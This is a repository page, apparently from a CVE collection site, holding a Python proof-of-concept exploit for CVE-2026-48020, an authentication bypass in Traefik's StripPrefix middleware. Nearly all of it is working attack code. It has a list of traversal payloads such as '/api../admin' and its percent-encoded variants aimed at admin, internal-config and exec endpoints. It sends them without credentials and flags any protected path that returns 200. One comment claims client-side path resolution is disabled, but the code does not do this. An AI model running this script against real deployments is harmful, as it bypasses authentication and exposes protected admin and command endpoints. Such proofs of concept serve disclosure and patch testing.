5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-48020 — Traefik StripPrefix route-level auth bypass PoC.

Against a vulnerable Traefik (<= v2.11.46, v3.6.17, v3.7.1) running the
dynamic.yml shipped in this repo, a request whose path contains `..` after
the stripped prefix (e.g. /api../admin) is routed through the *public*
router at routing time but normalised back to the *protected* path before
it reaches the backend — completely skipping the basicAuth middleware.

Usage:
    python3 poc.py [base_url]      # default: http://127.0.0.1:18080
"""
import sys
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:18080"

# (label, request_path, should_be_protected)
CASES = [
    ("direct protected (auth enforced)",      "/admin",                          True),
    ("direct protected (auth enforced)",      "/internal/config",                True),
    ("public strip + exclusion (safe)",       "/api/admin",                      True),
    ("public strip + exclusion (safe)",       "/api/internal/config",            True),
    # --- the bypass payloads ---
    ("BYPASS  literal ..",                    "/api../admin",                    True),
    ("BYPASS  encoded %2e%2e",                "/api%2e%2e/admin",                True),
    ("BYPASS  literal .. (internal)",         "/api../internal/config",          True),
    ("BYPASS  encoded %2e%2e (internal)",     "/api%2e%2e/internal/config",      True),
    ("BYPASS  literal .. (exec endpoint)",    "/api../admin/exec",               True),
    ("BYPASS  encoded %2e%2e (exec)",         "/api%2e%2e/admin/exec",           True),
]


def probe(path):
    """Return (status, body) for a GET against BASE+path with no credentials."""
    req = Request(BASE + path)
    # IMPORTANT: ask urllib NOT to resolve '.'/'..' client-side so the raw
    # traversal sequence is sent verbatim to Traefik.
    try:
        with urlopen(req, timeout=5) as r:
            return r.status, r.read().decode(errors="replace")
    except HTTPError as e:
        return e.code, e.read().decode(errors="replace")
    except URLError as e:
        return None, f"<connection error: {e.reason}>"


def main():
    print(f"[*] Target: {BASE}\n")
    compromised = False

    for label, path, protected in CASES:
        status, body = probe(path)
        reached_secret = status == 200 and "secret" in body and "ADMIN_SECRET" in body \
            or status == 200 and ("INTERNAL_CONFIG" in body or "EXEC_ENDPOINT" in body)

        # A protected path that returns 200 WITHOUT credentials = bypass.
        bypassed = protected and status == 200

        if bypassed:
            compromised = True
            tag = "  [!] BYPASS"
        elif status == 401:
            tag = "  [blocked]"
        elif status == 404:
            tag = "  [safe  ]"
        else:
            tag = f"  [{status}]"

        print(f"{tag} {label:38} {path}")
        print(f"          -> status={status}  body={body[:110]}\n")

    print("=" * 60)
    if compromised:
        print("[!] AUTH BYPASS CONFIRMED — protected paths reached without "
              "credentials via StripPrefix path normalisation.")
    else:
        print("[+] No bypass observed — this Traefik version is not vulnerable\n"
              "    (>= v2.11.48 / v3.6.19 / v3.7.3 rejects the normalised path).")


if __name__ == "__main__":
    main()